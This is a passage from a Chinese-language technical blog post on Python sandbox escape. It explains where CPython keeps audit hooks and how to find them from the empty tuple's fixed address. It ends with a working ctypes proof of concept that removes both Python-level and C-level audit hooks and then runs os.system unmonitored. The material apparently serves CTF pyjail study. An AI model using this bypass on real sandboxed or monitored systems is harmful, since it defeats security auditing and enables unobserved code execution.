struct _Py_AuditHookEntry *next;
Py_AuditHookFunction hookCFunction;
void *userData;
} _Py_AuditHookEntry;

需要注意的是,python3.11 与 python3.12 不同,仅使用 audit_hook_head 指针进行存放。_Py_AuditHookEntry 没有变化:

1
2
3
4
5
typedef struct pyruntimestate {
// [...]
_Py_AuditHookEntry *audit_hook_head;
// [...]
} _PyRuntimeState;

_PyRuntimeState 中存储的 audit hook,对应的就是 CPython 中通过 PySys_AddAuditHook 添加的审计钩子。PySys_AddAuditHook 用于在 Python 运行时中添加全局审计钩子, 通过该函数添加的审计钩子会影响整个 Python 运行时中的所有解释器,无论是主解释器还是子解释器。

1
2
3
4
5
6
7
8
9
10
11
12
13
static int audit(const char *event, PyObject *args, void *userData) {
static int running = 0;
if (running) {
exit(0);
}
if (!running && !strcmp(event, "exec")) running = 1;
return 0;
}

static PyObject* irs_audit(PyObject *self, PyObject *args) {
PySys_AddAuditHook(audit, NULL);
Py_RETURN_NONE;
}
PyInterpreterState

PyInterpreterState 也同样存储了 audit hook:

1
2
3
4
5
struct _is {
...
PyObject *audit_hooks;
...
}

但这个 audit_hooks 实际上是一个 PyObject 指针,对应的是 Python 层面的 audit hook,也就是通过 sys.addaudithook() 添加的审计钩子。通过该函数添加的审计钩子只会影响当前解释器(主解释器或某个子解释器),不会影响其他解释器。

获取 audit hook 函数地址

在 CPython 中,某些常用的不可变对象(如空元组、空字符串等)是单例对象,这些对象在解释器启动时就被创建并缓存起来,因此其内存地址是固定不变的。

下面是一个测试代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
print(hex(id(())))
print(hex(id(())))
print(hex(id('')))
print(hex(id('')))
print(hex(id({})))
print(hex(id({})))
print(hex(id([])))
print(hex(id([])))

# 0xb56d58
# 0xb56d58
# 0xb4a370
# 0xb4a370
# 0x7fb20e2c6640
# 0x7fb20e2c6640
# 0x7fb20e7ccb40
# 0x7fb20e7ccb40

可以看到空元组和空字符串的地址都没有变化。而空列表和空字典每次执行时地址会发生变化,但在同一个脚本中多次执行的结果都是不变的。

在相同版本的 Python 中,数据结构(如 PyInterpreterState_PyRuntimeState)的大小和字段位置通常在编译时就确定了大小和布局。因此从某个对象(如空元组)的地址到审计钩子列表指针的位置通常是一个常数。

依据这个原理,项目 Nambers/python-audit_hook_head_finder: PWNable pyjail 通过在 C 层面打印出 _PyRuntimeState.audit_hooks.headPyInterpreterState.audit_hooks 的地址,然后计算与空元组地址的偏移,得到了这个偏移常量。

  1. 获取 _PyRuntimeState.audit_hooks.headPyInterpreterState.audit_hooks 的地址

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    // 宏:获取运行时(RuntimeState)的基地址
    #define GET_RUNTIME_ADDR() &_PyRuntime

    // 宏:获取当前解释器(InterpreterState)的指针
    #define GET_INTERP_ADDR() _PyRuntime.interpreters.head

    // 宏:获取当前解释器 audit_hooks 字段的地址(Python 级 hook 列表)
    #define GET_INTERP_AUDIT_HOOK_PTR_ADDR() &GET_INTERP_ADDR()->audit_hooks

    // 宏:获取运行时 audit_hooks 链表头指针的地址(C 级全局 hook 列表)
    // Python 3.12+ 结构体不同(带 head 字段),<=3.11 是单指针 audit_hook_head
    #if PY_MINOR_VERSION >= 12
    #define GET_RUNTIME_AUDIT_HOOK_PTR_ADDR() &_PyRuntime.audit_hooks.head
    #else
    #define GET_RUNTIME_AUDIT_HOOK_PTR_ADDR() &_PyRuntime.audit_hook_head
    #endif
  2. 获取偏移值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    # 构造一个 PyObject 的引用对象(byref 返回的是指针)
    obj = ctypes.byref(ctypes.py_object(()))
    ptr_tp = ctypes.POINTER(ctypes.c_uint64)

    # 获取 obj 在内存中的地址
    obj_addr = ctypes.cast(obj, ptr_tp).contents.value

    # 验证另一种方式获取 obj_addr(直接取空 tuple 对象指针)
    assert ctypes.POINTER(ctypes.c_voidp)(ctypes.py_object(())).contents.value == obj_addr

    # 根据当前对象地址,计算 Python 级 audit_hooks 指针的偏移
    audit_hook_ptr_offset_by_py = get_interp_audit_hook_ptr_addr() - obj_addr

    # 根据当前对象地址,计算 C 级(runtime) audit_hooks 指针的偏移
    audit_hook_ptr_offset_by_c = get_runtime_audit_hook_ptr_addr() - obj_addr

    print(f"audit_hook_ptr_offset_by_py={hex(audit_hook_ptr_offset_by_py)}\n"
    f"audit_hook_ptr_offset_by_c={hex(audit_hook_ptr_offset_by_c)}")

覆盖 audit hook

因而在针对该版本 Python 进行利用时,只需要通过空元组的地址,再加上这个偏移值,就能够找到 audit hook 的地址。利用部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
audit_hook_by_py: list = ctypes.cast(ctypes.cast(obj_addr + audit_hook_ptr_offset_by_py, ptr_tp).contents.value, ctypes.py_object).value
# and as C array ig
audit_hook_by_c: list = ctypes.cast(obj_addr + audit_hook_ptr_offset_by_c, ptr_tp)
print(f"len={len(audit_hook_by_py)} should be 1")

# - POC -

ctypes._os.system("echo 'test audit hook -- this will trigger hook'")

audit_hook_by_py.pop()
ctypes.memset(audit_hook_by_c, 0, 8)

ctypes._os.system("echo 'test audit hook -- this will not'")
  1. python 层面的 audit hook 可以通过 ctypes.castPyInterpreterState.audit_hooks 地址处的 .contents.value 转换为一个 python 原生类型(py_object),最终得到一个 list ,利用 pop 函数将其弹出即可
  2. c 层面的 audit hook 虽然保存在 list 里,然而实际上只通过 ctypes.cast 将其转换为了一个指针 64 位指针: <class '__main__.LP_c_ulong'>,指向了 hook 函数的地址。通过 memset 将地址清空置空则达到了清除 audit hook 的目的。
  • Title: Python 沙箱逃逸
  • Author: sky123
  • Created at : 2025-08-12 00:01:08
  • Updated at : 2025-08-13 23:13:49
  • Link: https://skyi23.github.io/2025/08/12/Python 沙箱逃逸/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
Python 沙箱逃逸